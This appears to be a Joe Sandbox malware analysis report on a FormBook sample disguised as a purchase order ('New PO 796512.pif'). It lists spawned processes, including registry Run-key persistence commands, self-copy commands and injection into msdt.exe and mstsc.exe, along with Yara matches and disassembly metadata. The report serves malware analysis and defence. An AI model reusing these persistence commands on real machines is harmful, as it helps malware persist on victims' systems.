                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:49
                                                                                          Start time:12:23:00
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:50
                                                                                          Start time:12:23:01
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:51
                                                                                          Start time:12:23:01
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:52
                                                                                          Start time:12:23:02
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x3f0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:53
                                                                                          Start time:12:23:02
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif"
                                                                                          Imagebase:0x9c0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:54
                                                                                          Start time:12:23:03
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0xce0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Antivirus matches:
                                                                                          • Detection: 100%, Joe Sandbox ML
                                                                                          • Detection: 18%, ReversingLabs
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:55
                                                                                          Start time:12:23:03
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\msdt.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\msdt.exe"
                                                                                          Imagebase:0x990000
                                                                                          File size:389'632 bytes
                                                                                          MD5 hash:BAA4458E429E7C906560FE4541ADFCFB
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:58
                                                                                          Start time:12:23:08
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:59
                                                                                          Start time:12:23:08
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:60
                                                                                          Start time:12:23:08
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:61
                                                                                          Start time:12:23:10
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:62
                                                                                          Start time:12:23:10
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:63
                                                                                          Start time:12:23:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x50000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:64
                                                                                          Start time:12:23:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0x280000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:65
                                                                                          Start time:12:23:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0xd40000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:66
                                                                                          Start time:12:23:11
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\mstsc.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\mstsc.exe"
                                                                                          Imagebase:0xe10000
                                                                                          File size:1'264'640 bytes
                                                                                          MD5 hash:EA4A02BE14C405327EEBA8D9AD2BD42C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:67
                                                                                          Start time:12:23:12
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Documents\New PO 796512.pif.pif.pif
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Documents\New PO 796512.pif.pif.pif"
                                                                                          Imagebase:0xc40000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:68
                                                                                          Start time:12:23:17
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:69
                                                                                          Start time:12:23:17
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:70
                                                                                          Start time:12:23:17
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x890000
                                                                                          File size:59'392 bytes
                                                                                          MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:71
                                                                                          Start time:12:23:19
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif"
                                                                                          Imagebase:0x410000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:72
                                                                                          Start time:12:23:19
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:89
                                                                                          Start time:12:23:26
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\Conhost.exe
                                                                                          Wow64 process (32bit):
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:
                                                                                          Has administrator privileges:
                                                                                          Programmed in:C, C++ or other language
                                                                                          Has exited:false

                                                                                          Disassembly

                                                                                          Reset < >

                                                                                            Execution Graph

                                                                                            Execution Coverage:12.6%
                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                            Signature Coverage:3.7%
                                                                                            Total number of Nodes:82
                                                                                            Total number of Limit Nodes:4
                                                                                            execution_graph 46365 2e3d600 46366 2e3d646 GetCurrentProcess 46365->46366 46368 2e3d691 46366->46368 46369 2e3d698 GetCurrentThread 46366->46369 46368->46369 46370 2e3d6d5 GetCurrentProcess 46369->46370 46371 2e3d6ce 46369->46371 46372 2e3d70b 46370->46372 46371->46370 46373 2e3d733 GetCurrentThreadId 46372->46373 46374 2e3d764 46373->46374 46272 2e34668 46273 2e3467a 46272->46273 46274 2e34686 46273->46274 46278 2e34778 46273->46278 46283 2e33e1c 46274->46283 46276 2e346a5 46279 2e3479d 46278->46279 46287 2e34888 46279->46287 46291 2e34878 46279->46291 46284 2e33e27 46283->46284 46299 2e35cec 46284->46299 46286 2e370a0 46286->46276 46289 2e348af 46287->46289 46288 2e3498c 46288->46288 46289->46288 46295 2e3449c 46289->46295 46293 2e34888 46291->46293 46292 2e3498c 46292->46292 46293->46292 46294 2e3449c CreateActCtxA 46293->46294 46294->46292 46296 2e35918 CreateActCtxA 46295->46296 46298 2e359cf 46296->46298 46300 2e35cf7 46299->46300 46303 2e35d2c 46300->46303 46302 2e37445 46302->46286 46304 2e35d37 46303->46304 46307 2e35d5c 46304->46307 46306 2e37522 46306->46302 46308 2e35d67 46307->46308 46311 2e35d8c 46308->46311 46310 2e37625 46310->46306 46312 2e35d97 46311->46312 46314 2e38b8b 46312->46314 46318 2e3ae32 46312->46318 46313 2e38bc9 46313->46310 46314->46313 46323 2e3cf30 46314->46323 46328 2e3cf20 46314->46328 46333 2e3b270 46318->46333 46336 2e3b1c0 46318->46336 46340 2e3b220 46318->46340 46319 2e3ae46 46319->46314 46324 2e3cf51 46323->46324 46325 2e3cf75 46324->46325 46349 2e3d4d9 46324->46349 46353 2e3d4e8 46324->46353 46325->46313 46329 2e3cf30 46328->46329 46330 2e3cf75 46329->46330 46331 2e3d4d9 GetModuleHandleW 46329->46331 46332 2e3d4e8 GetModuleHandleW 46329->46332 46330->46313 46331->46330 46332->46330 46344 2e3b357 46333->46344 46334 2e3b27f 46334->46319 46338 2e3b199 46336->46338 46337 2e3b185 46337->46319 46338->46336 46338->46337 46339 2e3b357 GetModuleHandleW 46338->46339 46339->46337 46341 2e3b199 46340->46341 46341->46340 46342 2e3b185 46341->46342 46343 2e3b357 GetModuleHandleW 46341->46343 46342->46319 46343->46342 46345 2e3b39c 46344->46345 46346 2e3b379 46344->46346 46345->46334 46346->46345 46347 2e3b5a0 GetModuleHandleW 46346->46347 46348 2e3b5cd 46347->46348 46348->46334 46350 2e3d4e8 46349->46350 46351 2e3d52f 46350->46351 46357 2e3d2f0 46350->46357 46351->46325 46355 2e3d4f5 46353->46355 46354 2e3d52f 46354->46325 46355->46354 46356 2e3d2f0 GetModuleHandleW 46355->46356 46356->46354 46358 2e3d2fb 46357->46358 46360 2e3de40 46358->46360 46361 2e3d41c 46358->46361 46360->46360 46362 2e3d427 46361->46362 46363 2e35d8c GetModuleHandleW 46362->46363 46364 2e3deaf 46363->46364 46364->46360 46375 2e3d848 DuplicateHandle 46376 2e3d8de 46375->46376

                                                                                            Executed Functions

                                                                                            Function 06ACD688 Relevance: 26.3, Strings: 20, Instructions: 1314COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367625752.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: $q$,q$,q$4cq$4cq$hq$hq$hq$|bq$|bq$|bq$$q$$q$$q$[F$cq$cq$cq$cq$"
                                                                                            • API String ID: 0-1585374038
                                                                                            • Opcode ID: d718c614741870d30ede129b8d863b0ac35d63fb9649619a3a81740641d353dd
                                                                                            • Instruction ID: 9160c43d9ca6e9aeca6d629e49feb2908a740504601f387e47ee9bfc40cc5a19
                                                                                            • Opcode Fuzzy Hash: d718c614741870d30ede129b8d863b0ac35d63fb9649619a3a81740641d353dd
                                                                                            • Instruction Fuzzy Hash: 65C23A74B106148FDB64EF29C854A69BBF2BF88310F1585A9E94ADB361DB30EC41CF51
                                                                                            Function 06AC3F50 Relevance: 1.8, Strings: 1, Instructions: 524COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1517 6ac3f50-6ac3f62 1518 6ac3f6a-6ac3f84 1517->1518 1668 6ac3f64 call 6ac4487 1517->1668 1669 6ac3f64 call 6ac4260 1517->1669 1670 6ac3f64 call 6ac3f40 1517->1670 1671 6ac3f64 call 6ac3f50 1517->1671 1520 6ac3f86-6ac3f8f 1518->1520 1521 6ac3f92-6ac3fa5 1518->1521 1520->1521 1522 6ac3fab-6ac3fae 1521->1522 1523 6ac4215-6ac4219 1521->1523 1527 6ac3fbd-6ac3fc9 1522->1527 1528 6ac3fb0-6ac3fb5 1522->1528 1525 6ac422e-6ac4238 1523->1525 1526 6ac421b-6ac422b 1523->1526 1526->1525 1529 6ac3fcf-6ac3fe1 1527->1529 1530 6ac4253-6ac4299 1527->1530 1528->1527 1534 6ac414d-6ac415b 1529->1534 1535 6ac3fe7-6ac403a 1529->1535 1537 6ac42a8-6ac42d0 1530->1537 1538 6ac429b-6ac42a5 1530->1538 1541 6ac41e0-6ac41e2 1534->1541 1542 6ac4161-6ac416f 1534->1542 1566 6ac403c-6ac4048 call 6ac3c88 1535->1566 1567 6ac404a 1535->1567 1559 6ac4425-6ac4443 1537->1559 1560 6ac42d6-6ac42ef 1537->1560 1538->1537 1547 6ac41e4-6ac41ea 1541->1547 1548 6ac41f0-6ac41fc 1541->1548 1545 6ac417e-6ac418a 1542->1545 1546 6ac4171-6ac4176 1542->1546 1545->1530 1553 6ac4190-6ac41bf 1545->1553 1546->1545 1551 6ac41ec 1547->1551 1552 6ac41ee 1547->1552 1558 6ac41fe-6ac420f 1548->1558 1551->1548 1552->1548 1573 6ac41d0-6ac41de 1553->1573 1574 6ac41c1-6ac41ce 1553->1574 1558->1522 1558->1523 1575 6ac44ae-6ac44b8 1559->1575 1576 6ac4445-6ac4467 1559->1576 1578 6ac42f5-6ac430b 1560->1578 1579 6ac4406-6ac441f 1560->1579 1571 6ac404c-6ac405c 1566->1571 1567->1571 1584 6ac405e-6ac4075 1571->1584 1585 6ac4077-6ac4079 1571->1585 1573->1523 1574->1573 1596 6ac44b9-6ac450a 1576->1596 1597 6ac4469-6ac4478 1576->1597 1578->1579 1599 6ac4311-6ac435f 1578->1599 1579->1559 1579->1560 1584->1585 1588 6ac407b-6ac4089 1585->1588 1589 6ac40c2-6ac40c4 1585->1589 1588->1589 1603 6ac408b-6ac409d 1588->1603 1591 6ac40c6-6ac40d0 1589->1591 1592 6ac40d2-6ac40d5 1589->1592 1591->1592 1607 6ac411b-6ac4127 1591->1607 1672 6ac40d8 call 6ac4640 1592->1672 1673 6ac40d8 call 6ac4650 1592->1673 1634 6ac450c-6ac4528 1596->1634 1635 6ac452a-6ac4568 1596->1635 1606 6ac447f-6ac4485 1597->1606 1644 6ac4389-6ac43ad 1599->1644 1645 6ac4361-6ac4387 1599->1645 1602 6ac40de-6ac40e2 1608 6ac410d-6ac4110 1602->1608 1609 6ac40e4-6ac40f2 1602->1609 1612 6ac409f-6ac40a1 1603->1612 1613 6ac40a3-6ac40a7 1603->1613 1611 6ac44a9-6ac44ac 1606->1611 1607->1558 1623 6ac412d-6ac413d 1607->1623 1674 6ac4113 call 6ac48b8 1608->1674 1675 6ac4113 call 6ac48a9 1608->1675 1620 6ac40f4-6ac4103 1609->1620 1621 6ac4105-6ac4108 1609->1621 1611->1575 1618 6ac4493-6ac4496 1611->1618 1622 6ac40ad-6ac40bc 1612->1622 1613->1622 1617 6ac4119 1617->1607 1618->1596 1624 6ac4498-6ac44a8 1618->1624 1620->1607 1621->1523 1622->1589 1631 6ac4239-6ac424c 1622->1631 1666 6ac413f call 6ac6318 1623->1666 1667 6ac413f call 6ac630b 1623->1667 1624->1611 1631->1530 1634->1635 1636 6ac4145-6ac4148 1636->1523 1655 6ac43df-6ac43f8 1644->1655 1656 6ac43af-6ac43c6 1644->1656 1645->1644 1658 6ac43fa 1655->1658 1659 6ac4403-6ac4404 1655->1659 1663 6ac43c8-6ac43cb 1656->1663 1664 6ac43d2-6ac43dd 1656->1664 1658->1659 1659->1579 1663->1664 1664->1655 1664->1656 1666->1636 1667->1636 1668->1518 1669->1518 1670->1518 1671->1518 1672->1602 1673->1602 1674->1617 1675->1617
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367625752.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: $q
                                                                                            • API String ID: 0-1301096350
                                                                                            • Opcode ID: 24718e2d64815df9f7084cf06b15e8028ed571e2dbbcecdb7f88e453196cd233
                                                                                            • Instruction ID: 809263782bb034ee1c98852a9768eac21f6eb4c63f86f26ca00435f010f1670c
                                                                                            • Opcode Fuzzy Hash: 24718e2d64815df9f7084cf06b15e8028ed571e2dbbcecdb7f88e453196cd233
                                                                                            • Instruction Fuzzy Hash: 49126F34F002159FDB54EF69D494A6EBBF6FF88210B148169E905EB365DB30EC42CB94
                                                                                            Function 05AC8518 Relevance: 1.1, Instructions: 1116COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b2f73fc51879622ee4ebe3f6182c6fb2d1a848f92b9638af1d0f67d9dd453272
                                                                                            • Instruction ID: 319891d0189754034c24637818ff5acb054fc1a6e66011116feb5c2f329018d0
                                                                                            • Opcode Fuzzy Hash: b2f73fc51879622ee4ebe3f6182c6fb2d1a848f92b9638af1d0f67d9dd453272
                                                                                            • Instruction Fuzzy Hash: 96A27C35A042059FDB25CF68D584EAABFF2FF84310B1585A9E8469B752CB34FC46CB90
                                                                                            Function 05ACA1E0 Relevance: .6, Instructions: 638COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b1df03d3225b686575a8a20da666f40e72c8527cb5d4d58e487f12aaabf4f5c4
                                                                                            • Instruction ID: 31f57a1a684c0077562c65bca9fd2d72c13601851cd170cf223bdb1a07717f24
                                                                                            • Opcode Fuzzy Hash: b1df03d3225b686575a8a20da666f40e72c8527cb5d4d58e487f12aaabf4f5c4
                                                                                            • Instruction Fuzzy Hash: F7422934B002048FDB15DF68C598A6EBBF2BF88301F1585A9E916DB365DB35EC46CB90
                                                                                            Function 05AC6B98 Relevance: .4, Instructions: 399COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 86736b552f3dcc347bfe573d681f21a0d0801f1f1da0c9ba4abd96d348dc97f8
                                                                                            • Instruction ID: 9ffde431f2d3e2bb8199d07b6307be98ae90ae79d0b68be91ba0c9e3658cbe89
                                                                                            • Opcode Fuzzy Hash: 86736b552f3dcc347bfe573d681f21a0d0801f1f1da0c9ba4abd96d348dc97f8
                                                                                            • Instruction Fuzzy Hash: C9F15935A047048FDB25CF69C584EAABBF2FF48300F1485ADE8569B762CB35E846CB50
                                                                                            Function 02E33E1C Relevance: .2, Instructions: 235COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: db6ea1d2fc4be96b70cb4382f6fa072d9cc741e81614c6be601b3fb789a00b9c
                                                                                            • Instruction ID: e62ded7d6272650c96d97974f3e5708e419b716cc7a3aa29ed734c2c7f872e31
